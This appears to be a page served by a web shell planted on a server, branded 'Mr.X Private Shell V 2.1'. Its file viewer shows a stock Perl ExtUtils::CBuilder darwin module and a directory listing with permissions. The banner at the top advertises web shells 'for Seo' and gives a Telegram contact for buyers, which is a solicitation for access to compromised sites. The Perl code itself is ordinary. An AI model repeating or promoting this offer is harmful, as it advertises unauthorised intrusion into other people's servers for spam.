__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
package ExtUtils::CBuilder::Platform::darwin;
use warnings;
use strict;
use ExtUtils::CBuilder::Platform::Unix;
use Config;
our $VERSION = '0.280238'; # VERSION
our @ISA = qw(ExtUtils::CBuilder::Platform::Unix);
my ($osver) = split /\./, $Config{osvers};
my $apple_cor = $^X eq "/usr/bin/perl" && $osver >= 18;
sub compile {
my $self = shift;
my $cf = $self->{config};
# -flat_namespace isn't a compile flag, it's a linker flag. But
# it's mistakenly in Config.pm as both. Make the correction here.
local $cf->{ccflags} = $cf->{ccflags};
$cf->{ccflags} =~ s/-flat_namespace//;
# XCode 12 makes this fatal, breaking tons of XS modules
$cf->{ccflags} .= ($cf->{ccflags} ? ' ' : '').'-Wno-error=implicit-function-declaration';
$self->SUPER::compile(@_);
}
sub arg_include_dirs {
my $self = shift;
if ($apple_cor) {
my $perl_inc = $self->perl_inc;
return map {
$_ eq $perl_inc ? ("-iwithsysroot", $_ ) : "-I$_"
} @_;
}
else {
return $self->SUPER::arg_include_dirs(@_);
}
}
1;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Windows | Folder | 0755 |
|
|
| Unix.pm | File | 1.02 KB | 0644 |
|
| VMS.pm | File | 10.05 KB | 0644 |
|
| Windows.pm | File | 9.23 KB | 0644 |
|
| aix.pm | File | 625 B | 0644 |
|
| android.pm | File | 1.19 KB | 0644 |
|
| cygwin.pm | File | 932 B | 0644 |
|
| darwin.pm | File | 1.04 KB | 0644 |
|
| dec_osf.pm | File | 428 B | 0644 |
|
| os2.pm | File | 2.35 KB | 0644 |
|